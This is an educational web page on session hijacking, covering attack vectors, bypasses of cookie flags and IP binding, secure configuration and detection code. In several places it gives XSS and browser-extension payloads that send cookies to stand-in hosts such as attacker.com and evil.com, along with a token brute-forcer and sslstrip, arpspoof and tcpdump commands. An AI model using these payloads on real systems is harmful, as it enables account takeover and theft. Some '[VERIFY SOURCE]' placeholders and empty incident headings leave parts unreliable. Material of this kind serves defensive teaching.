Back to Attack Flows

Table of Contents

What is Session Hijacking?

Session Hijacking (also known as cookie hijacking or session sidejacking) is an attack where an attacker takes over a valid user session by stealing or predicting a valid session token. Once obtained, the attacker can impersonate the victim and gain unauthorized access to their account without needing credentials.

Why is it Critical?

Session hijacking remains a critical security threat because:

Critical Impact

According to [VERIFY SOURCE], session hijacking is a primary vector in many data breaches. A stolen session token can provide the same level of access as stolen credentials, but is often harder to detect and easier to obtain through automated means.

How Session Hijacking Works

Session Management Basics

Web applications maintain user sessions through tokens stored in cookies, URL parameters, or headers:

HTTP/1.1 200 OK
Set-Cookie: sessionid=a3fWa9dj8kL2mN5pQ7rS; Path=/; HttpOnly; Secure

GET /dashboard HTTP/1.1
Cookie: sessionid=a3fWa9dj8kL2mN5pQ7rS

The Attack Flow

Step 1: Session Token Theft

Attacker obtains the victim's session token through various methods:

// XSS-based theft
<script>
  // Steal cookie and send to attacker
  fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

// Alternative: Store in attacker-controlled storage
<script>
  new Image().src = 'http://evil.com/log.php?c=' + encodeURIComponent(document.cookie);
</script>

Step 2: Session Replay

Attacker uses the stolen token to impersonate the victim:

# Attacker's script
import requests

stolen_session = "a3fWa9dj8kL2mN5pQ7rS"

cookies = {'sessionid': stolen_session}
response = requests.get('https://victim-site.com/dashboard', cookies=cookies)

# ✅ Attacker is now logged in as victim!

Attack Vectors

1. Cross-Site Scripting (XSS)

Most common method - inject malicious JavaScript to steal cookies:

<!-- Stored XSS in forum post -->
<script>
  document.location='http://attacker.com/steal.php?c='+document.cookie;
</script>

<!-- Reflected XSS in search parameter -->
http://vulnerable-site.com/search?q=<script>fetch('//evil.com?'+document.cookie)</script>

2. Network Sniffing

Intercept unencrypted HTTP traffic on shared networks:

# Attacker on same WiFi network
tcpdump -i wlan0 -A | grep "Cookie:"

# Using Wireshark to capture session tokens
# Filter: http.cookie contains "session"

3. Session Fixation

Force victim to use attacker-controlled session ID:

<!-- Attacker sends link to victim -->
http://vulnerable-site.com/login?sessionid=ATTACKER_CONTROLLED_ID

<!-- After victim logs in, attacker uses the same session ID -->

4. Man-in-the-Middle (MITM)

Intercept communication between client and server:

5. Malware/Browser Extensions

// Malicious browser extension
chrome.cookies.getAll({domain: "target-site.com"}, function(cookies) {
  fetch('https://attacker.com/exfil', {
    method: 'POST',
    body: JSON.stringify(cookies)
  });
});

6. Session Side-jacking (Firesheep-style)

Capture session cookies from unencrypted traffic on public WiFi [VERIFY SOURCE - Firesheep tool from 2010].

Advanced Attack Techniques

1. XSS-Based Cookie Theft

DOM-based Exfiltration

// Bypass HttpOnly using alternative storage
<script>
  // Steal localStorage tokens
  const token = localStorage.getItem('authToken');
  fetch('https://attacker.com/steal?token=' + token);
  
  // Steal sessionStorage
  const session = sessionStorage.getItem('session');
  navigator.sendBeacon('https://attacker.com/log', session);
</script>

XSS with Session Riding

// Instead of stealing cookie, perform actions on victim's behalf
<script>
  fetch('/api/transfer', {
    method: 'POST',
    credentials: 'include',  // Include session cookie
    body: JSON.stringify({
      to: 'attacker_account',
      amount: 10000
    })
  });
</script>

2. Session Token Prediction

Weak Token Generation

# VULNERABLE: Predictable session IDs
session_id = str(user_id) + str(int(time.time()))
# Example: "12341700000000" - easy to guess!

# VULNERABLE: Sequential IDs
session_id = str(last_session_id + 1)

# ✅ SECURE: Cryptographically random
import secrets
session_id = secrets.token_urlsafe(32)

Brute Force Attack

import requests
import string
import itertools

# Try all possible short session IDs
for token in itertools.product(string.ascii_letters + string.digits, repeat=6):
    session_token = ''.join(token)
    cookies = {'SESSIONID': session_token}
    response = requests.get('https://target.com/profile', cookies=cookies)
    
    if response.status_code == 200:
        print(f"Valid session found: {session_token}")
        break

3. Session Fixation Advanced

<!-- Attacker sets cookie via subdomain -->
<script>
  document.cookie = "sessionid=ATTACKER_ID; domain=.vulnerable-site.com";
  window.location = "https://vulnerable-site.com/login";
</script>

<!-- Or via URL parameter -->
<a href="http://bank.com/login?session=ATTACKER_SESSION">
  Click here to login to your bank
</a>

4. Cross-Site Request Forgery (CSRF) + Session Hijacking

<!-- Combine CSRF with session theft -->
<img src="http://vulnerable-site.com/transfer?to=attacker&amount=1000" />

<!-- With XSS to bypass CSRF tokens -->
<script>
  fetch('/get-csrf-token')
    .then(r => r.json())
    .then(data => {
      fetch('/transfer', {
        method: 'POST',
        headers: {'X-CSRF-Token': data.token},
        body: JSON.stringify({to: 'attacker', amount: 10000})
      });
    });
</script>

5. Session Token Leakage

Referer Header Leakage

<!-- Session in URL gets leaked via Referer -->
http://site.com/dashboard?session=abc123

<!-- User clicks external link -->
<a href="http://external-site.com">Click here</a>

<!-- Referer header sent to external site: -->
Referer: http://site.com/dashboard?session=abc123

Browser History/Cache

6. Session Donation Attack

// Attacker creates account and donates their session to victim
// Victim unknowingly uses attacker's session
// Attacker can see all victim's actions in their account

// Example: Attacker sets up session fixation
document.cookie = "session=ATTACKER_SESSION; domain=.target.com";

Defense Bypass Strategies

Bypassing HttpOnly Flag

1. XSS-based Workarounds

// Can't read HttpOnly cookie, but can still make requests
<script>
  // Session riding - perform actions without stealing cookie
  fetch('/api/change-email', {
    method: 'POST',
    credentials: 'include',  // Browser automatically includes HttpOnly cookie
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({email: 'attacker@evil.com'})
  });
</script>

2. Network-Level Capture

// HttpOnly prevents JavaScript access, but not network sniffing
// Use Wireshark, tcpdump, or MITM proxy to capture cookies in transit

Bypassing Secure Flag

SSL Stripping Attack

# Attacker performs MITM and downgrades HTTPS to HTTP
# Tool: sslstrip
sslstrip -l 8080

# iptables redirect
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

# Now session cookies are transmitted over HTTP even with Secure flag

Bypassing SameSite Cookie Protection

1. SameSite=Lax Bypass

<!-- SameSite=Lax allows cookies on top-level navigation -->
<!-- Attacker creates malicious site: -->
<a href="https://vulnerable-site.com/transfer?to=attacker&amount=1000">
  Click here for free prize!
</a>

<!-- Cookie is sent with GET request -->

2. Subdomain Takeover

// If SameSite is set on parent domain
// Attacker takes over subdomain (old.company.com)
// Can set cookies for parent domain

// From compromised subdomain:
document.cookie = "session=ATTACKER_SESSION; domain=.company.com";

Bypassing IP Binding

1. Same Network Attack

// If session tied to IP address
// Attacker on same corporate network/NAT shares external IP
// Session hijacking works from same IP range

2. Proxy Spoofing

# Spoof X-Forwarded-For header
headers = {
    'Cookie': 'session=STOLEN_TOKEN',
    'X-Forwarded-For': '192.168.1.100'  # Victim's IP
}
requests.get('https://target.com/api', headers=headers)

Bypassing User-Agent Binding

# Simply replicate victim's User-Agent
headers = {
    'Cookie': 'session=STOLEN_TOKEN',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)...'
}

Bypassing Session Timeout

Keep-Alive Attack

import requests
import time

stolen_session = "abc123xyz"

while True:
    # Keep session alive by making periodic requests
    requests.get('https://target.com/keep-alive', 
                 cookies={'session': stolen_session})
    time.sleep(60)  # Every minute

Prevention & Mitigation

1. Secure Cookie Configuration

PRIMARY DEFENSE FOR WEB APPLICATIONS

Essential Cookie Flags

# Python Flask
from flask import session
app.config['SESSION_COOKIE_HTTPONLY'] = True
app.config['SESSION_COOKIE_SECURE'] = True
app.config['SESSION_COOKIE_SAMESITE'] = 'Strict'

# Set-Cookie header:
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict; Path=/
// Node.js Express
const session = require('express-session');
app.use(session({
  secret: 'your-secret-key',
  cookie: {
    httpOnly: true,     // Prevent JavaScript access
    secure: true,       // Only send over HTTPS
    sameSite: 'strict', // Prevent CSRF
    maxAge: 3600000     // 1 hour timeout
  }
}));
// PHP
session_start([
    'cookie_httponly' => true,
    'cookie_secure' => true,
    'cookie_samesite' => 'Strict'
]);

// Or set in php.ini:
session.cookie_httponly = 1
session.cookie_secure = 1
session.cookie_samesite = Strict

Cookie Flag Explanation

2. Strong Session Token Generation

# ✅ GOOD: Cryptographically secure random tokens
import secrets
session_token = secrets.token_urlsafe(32)  # 256 bits of entropy

# ✅ GOOD: UUID v4
import uuid
session_token = str(uuid.uuid4())

# ❌ BAD: Predictable tokens
import random
session_token = str(random.randint(1000, 9999))  # Only 9000 possibilities!

# ❌ BAD: Time-based
import time
session_token = str(time.time())  # Predictable

3. Session Regeneration

Generate new session ID after privilege changes:

# Python Flask - regenerate on login
from flask import session

@app.route('/login', methods=['POST'])
def login():
    if authenticate(username, password):
        # Clear old session
        session.clear()
        
        # Create new session (new ID generated automatically)
        session['user_id'] = user.id
        session['logged_in'] = True
        
        return redirect('/dashboard')
// PHP - regenerate session ID
session_start();

if (authenticate($_POST['username'], $_POST['password'])) {
    // Generate new session ID
    session_regenerate_id(true);
    
    $_SESSION['user_id'] = $user->id;
    $_SESSION['logged_in'] = true;
}

4. Session Binding

Bind Session to User Context

import hashlib

def create_session(user_id, request):
    # Create fingerprint of user environment
    fingerprint = hashlib.sha256(
        f"{request.user_agent}"
        f"{request.headers.get('Accept-Language')}"
        f"{get_client_ip(request)[:10]}"  # First 3 octets only
        .encode()
    ).hexdigest()
    
    session_data = {
        'user_id': user_id,
        'fingerprint': fingerprint,
        'created_at': time.time()
    }
    
    return session_data

def validate_session(session_data, request):
    # Recreate fingerprint
    current_fingerprint = hashlib.sha256(
        f"{request.user_agent}"
        f"{request.headers.get('Accept-Language')}"
        f"{get_client_ip(request)[:10]}"
        .encode()
    ).hexdigest()
    
    # Compare fingerprints
    if current_fingerprint != session_data['fingerprint']:
        raise Exception("Session fingerprint mismatch - possible hijacking!")

Binding Limitations

Note: Strict IP binding can break legitimate use cases (mobile users switching networks, corporate proxies, VPNs). Use partial IP matching or combine multiple weak signals instead of strict binding [VERIFY SOURCE].

5. Session Timeout & Rotation

# Implement idle timeout
SESSION_TIMEOUT = 30 * 60  # 30 minutes

def check_session_timeout(session):
    last_activity = session.get('last_activity', 0)
    
    if time.time() - last_activity > SESSION_TIMEOUT:
        session.clear()
        raise Exception("Session expired due to inactivity")
    
    # Update last activity
    session['last_activity'] = time.time()

# Absolute timeout
SESSION_MAX_AGE = 24 * 60 * 60  # 24 hours

def check_max_age(session):
    created_at = session.get('created_at', 0)
    
    if time.time() - created_at > SESSION_MAX_AGE:
        session.clear()
        raise Exception("Session expired - please login again")

6. HTTPS Enforcement

# Force HTTPS redirect
@app.before_request
def force_https():
    if not request.is_secure and app.env == "production":
        url = request.url.replace("http://", "https://", 1)
        return redirect(url, code=301)
# Nginx HTTPS redirect
server {
    listen 80;
    server_name example.com;
    return 301 https://$server_name$request_uri;
}

# Enable HSTS
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;

7. XSS Prevention

Since XSS is a primary vector for session theft:

# Content Security Policy
@app.after_request
def set_csp(response):
    response.headers['Content-Security-Policy'] = \
        "default-src 'self'; script-src 'self'; object-src 'none';"
    return response

# Input sanitization
import bleach

def sanitize_input(user_input):
    # Remove all HTML tags
    clean_input = bleach.clean(user_input, tags=[], strip=True)
    return clean_input

# Output encoding
from markupsafe import escape

@app.route('/profile')
def profile():
    username = escape(user.username)
    return f"<h1>Welcome {username}</h1>"

8. Logout Functionality

# Proper session destruction
@app.route('/logout')
def logout():
    # Server-side: Delete session from database
    db.sessions.delete({'session_id': session['id']})
    
    # Client-side: Clear session cookie
    session.clear()
    
    # Expire cookie immediately
    response = make_response(redirect('/login'))
    response.set_cookie('session', '', expires=0)
    
    return response

9. Token-Based Authentication (Alternative)

# JWT with short expiration
import jwt
from datetime import datetime, timedelta

def create_jwt_token(user_id):
    payload = {
        'user_id': user_id,
        'exp': datetime.utcnow() + timedelta(minutes=15),  # Short-lived
        'iat': datetime.utcnow()
    }
    
    token = jwt.encode(payload, SECRET_KEY, algorithm='HS256')
    return token

# Refresh token pattern
def create_tokens(user_id):
    access_token = create_jwt_token(user_id)  # 15 min
    refresh_token = secrets.token_urlsafe(32)  # Store in DB
    
    return {
        'access_token': access_token,
        'refresh_token': refresh_token
    }

Detection & Testing

Manual Testing Techniques

1. Cookie Analysis

# Check cookie flags in browser DevTools
# Console:
document.cookie

# Network tab:
# Look for Set-Cookie headers
# Verify: HttpOnly, Secure, SameSite flags

2. Session Token Entropy Test

# Collect multiple session tokens and analyze
import math
from collections import Counter

def calculate_entropy(token):
    # Calculate Shannon entropy
    counter = Counter(token)
    length = len(token)
    
    entropy = -sum(
        (count/length) * math.log2(count/length) 
        for count in counter.values()
    )
    
    return entropy

# Test tokens
tokens = [
    "a3fWa9dj8kL2mN5pQ7rS",  # Good: high entropy
    "user123session456",      # Bad: predictable
    "12345678"                # Bad: sequential
]

for token in tokens:
    entropy = calculate_entropy(token)
    print(f"Token: {token}")
    print(f"Entropy: {entropy:.2f} bits")
    print(f"Assessment: {'WEAK' if entropy < 4 else 'STRONG'}\n")

3. Session Fixation Test

# Test steps:
1. Get session ID before login: SESS=abc123
2. Login with credentials
3. Check if session ID changed after login
4. If same (SESS=abc123), vulnerable to session fixation!

# Automated test:
curl -c cookies.txt http://target.com/
# Note session ID

curl -b cookies.txt -c cookies.txt -d "user=test&pass=test" http://target.com/login
# Check if session ID changed

4. XSS to Session Theft Test

// Test in browser console (on sites you own/have permission)
<script>alert(document.cookie);</script>

// If alert shows cookies, they're not HttpOnly
// If nothing appears, HttpOnly is properly set

5. Cross-Site Session Riding

<!-- Create test.html on different domain -->
<html>
<body>
  <h1>CSRF/Session Test</h1>
  <script>
    // Try to make request to target site
    fetch('https://target-site.com/api/sensitive', {
      credentials: 'include'
    }).then(r => console.log('Request succeeded'))
      .catch(e => console.log('Request failed'));
  </script>
</body>
</html>

<!-- If request succeeds, SameSite not properly configured -->

Automated Testing Tools

Burp Suite

Comprehensive testing capabilities:

# Burp Suite Sequencer usage:
1. Proxy > HTTP History > Find session token
2. Right-click > Send to Sequencer
3. Select token parameter
4. Start live capture (minimum 100 tokens)
5. Analyze results for randomness

OWASP ZAP

# Automated scan
zap-cli quick-scan --self-contained \
  --start-options '-config api.disablekey=true' \
  https://target-site.com

# Check for:
# - Missing HttpOnly flag
# - Missing Secure flag
# - Weak session tokens
# - Session fixation

Custom Python Scanner

import requests
import re

def test_session_security(url):
    print(f"Testing: {url}")
    
    # Test 1: Check cookie flags
    response = requests.get(url)
    cookies = response.cookies
    
    for cookie in cookies:
        print(f"\nCookie: {cookie.name}")
        print(f"  HttpOnly: {cookie.has_nonstandard_attr('HttpOnly')}")
        print(f"  Secure: {cookie.secure}")
        
        # Check for session tokens in response
        if re.search(r'sessionid|session|token', cookie.name, re.I):
            if not cookie.has_nonstandard_attr('HttpOnly'):
                print("  ⚠️  WARNING: Session cookie without HttpOnly!")
            if not cookie.secure:
                print("  ⚠️  WARNING: Session cookie without Secure flag!")
    
    # Test 2: Check session fixation
    session1 = requests.Session()
    resp1 = session1.get(url)
    cookie_before = session1.cookies.get('sessionid')
    
    # Simulate login
    resp2 = session1.post(f"{url}/login", 
                          data={'user': 'test', 'pass': 'test'})
    cookie_after = session1.cookies.get('sessionid')
    
    if cookie_before == cookie_after:
        print("\n⚠️  WARNING: Session ID not regenerated after login!")
        print("   Vulnerable to session fixation attack")

# Usage
test_session_security('https://example.com')

Nikto

# Web server scanner
nikto -h https://target-site.com -Tuning 9

# Check output for:
# - Missing security headers
# - Cookie security issues
# - XSS vulnerabilities (leading to session theft)

Real-Time Detection & Monitoring

Anomaly Detection

# Server-side monitoring
def detect_session_anomaly(session, request):
    warnings = []
    
    # Check for sudden IP change
    if session.get('last_ip') != request.remote_addr:
        warnings.append(f"IP changed: {session.get('last_ip')} → {request.remote_addr}")
    
    # Check for User-Agent change
    if session.get('user_agent') != request.user_agent.string:
        warnings.append("User-Agent changed")
    
    # Check for impossible time travel
    if session.get('last_location') and session.get('current_location'):
        # If user was in New York 5 min ago, can't be in Tokyo now
        if impossible_travel(session['last_location'], session['current_location']):
            warnings.append("Impossible travel detected")
    
    # Check concurrent sessions from different locations
    active_sessions = get_user_active_sessions(session['user_id'])
    if len(active_sessions) > 3:
        warnings.append(f"Multiple concurrent sessions: {len(active_sessions)}")
    
    if warnings:
        log_security_event(session['user_id'], warnings)
        # Optional: Force re-authentication
        return False
    
    return True

SIEM Integration

# Log session events for SIEM analysis
import logging
import json

def log_session_event(event_type, session, request):
    event = {
        'timestamp': datetime.utcnow().isoformat(),
        'event_type': event_type,
        'user_id': session.get('user_id'),
        'session_id': session.get('id'),
        'ip_address': request.remote_addr,
        'user_agent': request.user_agent.string,
        'location': get_geolocation(request.remote_addr)
    }
    
    logging.info(json.dumps(event))

# Events to log:
# - session_created
# - session_hijack_suspected
# - session_expired
# - session_destroyed
# - concurrent_session_detected

Real-World Examples

Notable Breaches & Incidents

1. Firesheep WiFi Hijacking (2010)

2. GitHub Session Token Leak (2013)

3. Cloud Infrastructure Hijacking via Session Tokens

4. Banking Trojan Session Hijacking (2018-2020)

5. OAuth Token Theft via XSS (Various)

Common Vulnerable Scenarios

Scenario 1: Coffee Shop WiFi Attack

# Attack flow:
1. Victim connects to public WiFi
2. Attacker performs ARP spoofing (MITM position)
3. Victim visits HTTP site or attacker strips SSL
4. Attacker captures session cookie with Wireshark
5. Attacker replays cookie to access victim's account

# Real example: E-commerce checkout session hijacked
# Attacker changes shipping address and completes purchase

Scenario 2: XSS in Forum Application

<!-- Attacker posts in forum: -->
<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">

<!-- Victims viewing the post have sessions stolen -->
<!-- Attacker uses stolen admin session to: -->
<!-- - Access admin panel -->
<!-- - Download user database -->
<!-- - Plant backdoor -->

Scenario 3: Mobile App Session Token in URL

# Mobile app uses token in URL:
myapp://dashboard?token=abc123xyz

# Issues:
1. Token visible in browser history
2. Leaked via Referer header when clicking external links
3. Captured in analytics/logging systems
4. Shared accidentally via screenshots/screen sharing

# Attack: Social engineering to get victim to share screenshot
# Result: Permanent account access

Scenario 4: API Session Leak in Logs

# Vulnerable logging
import logging

@app.route('/api/data')
def get_data():
    token = request.headers.get('Authorization')
    
    # ❌ BAD: Token logged
    logging.info(f"Request received with token: {token}")
    
    # Logs stored in:
    # - Application log files
    # - Centralized logging (CloudWatch, Splunk)
    # - Error tracking (Sentry)
    # - APM tools (New Relic, DataDog)
    
    # Attack: Attacker gains access to logs → steals tokens

Bug Bounty Examples

Common session hijacking vulnerabilities found in bug bounty programs [VERIFY SOURCE]:

Quick Reference

Attack Vectors Summary

# 1. XSS-based Cookie Theft
<script>fetch('//attacker.com?c='+document.cookie)</script>

# 2. Network Sniffing (HTTP)
tcpdump -i eth0 -A | grep "Cookie:"

# 3. Session Fixation
http://site.com/login?sessionid=ATTACKER_CONTROLLED

# 4. MITM Attack
arpspoof -i eth0 -t VICTIM_IP GATEWAY_IP

# 5. Malicious Browser Extension
chrome.cookies.getAll({}, cookies => exfiltrate(cookies))

# 6. Session Token Prediction
session_id = md5(user_id + timestamp)  # Predictable!

# 7. Token Leakage via Referer
http://site.com/page?session=TOKEN → External site sees Referer

# 8. Session Riding (without stealing)
fetch('/api/transfer', {credentials: 'include', body: {...}})

Defense Checklist

Testing Checklist

Secure Cookie Configuration Examples

# Python Flask
app.config.update(
    SESSION_COOKIE_HTTPONLY=True,
    SESSION_COOKIE_SECURE=True,
    SESSION_COOKIE_SAMESITE='Strict',
    PERMANENT_SESSION_LIFETIME=timedelta(hours=1)
)
// Node.js Express
app.use(session({
  name: 'sessionId',
  secret: process.env.SESSION_SECRET,
  cookie: {
    httpOnly: true,
    secure: true,
    sameSite: 'strict',
    maxAge: 3600000  // 1 hour
  },
  resave: false,
  saveUninitialized: false
}));
// PHP
session_set_cookie_params([
    'lifetime' => 3600,
    'path' => '/',
    'domain' => '.example.com',
    'secure' => true,
    'httponly' => true,
    'samesite' => 'Strict'
]);
session_start();
// Java Servlet
Cookie sessionCookie = new Cookie("JSESSIONID", sessionId);
sessionCookie.setHttpOnly(true);
sessionCookie.setSecure(true);
sessionCookie.setMaxAge(3600);
sessionCookie.setPath("/");
response.addCookie(sessionCookie);

Common Session Management Patterns

# Pattern 1: Database-backed sessions
class SessionManager:
    def create_session(self, user_id):
        session_token = secrets.token_urlsafe(32)
        
        db.sessions.insert({
            'token': session_token,
            'user_id': user_id,
            'created_at': datetime.utcnow(),
            'last_activity': datetime.utcnow(),
            'ip_address': request.remote_addr,
            'user_agent': request.user_agent.string
        })
        
        return session_token
    
    def validate_session(self, session_token):
        session = db.sessions.find_one({'token': session_token})
        
        if not session:
            raise InvalidSession()
        
        # Check expiration
        if datetime.utcnow() - session['last_activity'] > timedelta(minutes=30):
            db.sessions.delete_one({'token': session_token})
            raise SessionExpired()
        
        # Update activity
        db.sessions.update_one(
            {'token': session_token},
            {'$set': {'last_activity': datetime.utcnow()}}
        )
        
        return session['user_id']
    
    def destroy_session(self, session_token):
        db.sessions.delete_one({'token': session_token})

Resources

Key Takeaways

  • Always use HttpOnly, Secure, and SameSite cookie flags
  • Generate cryptographically random session tokens
  • Regenerate session IDs after authentication and privilege changes
  • Implement session timeouts (both idle and absolute)
  • Enforce HTTPS everywhere with HSTS
  • Prevent XSS as it's the #1 vector for session theft
  • Monitor for anomalous session activity
  • Never store session tokens in URLs, logs, or client-side storage